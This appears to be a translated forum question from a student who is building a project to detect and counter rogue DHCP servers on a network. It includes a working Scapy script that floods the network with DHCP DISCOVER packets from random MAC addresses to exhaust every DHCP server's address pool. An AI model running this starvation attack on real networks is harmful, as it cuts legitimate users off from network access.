そのため、プロジェクトでは、ネットワーク上の不正な DHCP サーバーを検出して軽減しようとしています。すべてが完了し、(Scapy を使用して) ディスカバリー パケットを構築するスクリプトを作成しました。複数の応答が検出された場合、DHCP 枯渇を伴うネットワーク上のすべての DHCP サーバーを DoS する別のスクリプトがあり、それは正常に機能しました。
しかし、今日、プロジェクトのスーパーバイザーに会いました。彼は、私のスクリプトがすべての DHCP サーバーを DoS する不正な DHCP サーバーだけを DoS するべきだと言いました。
どうすればいいのかわかりません。誰にもアイデアはありますか?
from scapy.all import *
from time import sleep
from threading import Thread
conf.checkIPaddr = False
pkt = Ether(src=RandMAC(), dst='ff:ff:ff:ff:ff:ff')
pkt /= IP(src='0.0.0.0', dst='255.255.255.255')
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(chaddr=RandString(12, '0123456789abcdef'))
pkt /= DHCP(options=[('message-type', 'discover'), 'end'])
sendp(pkt, loop=1)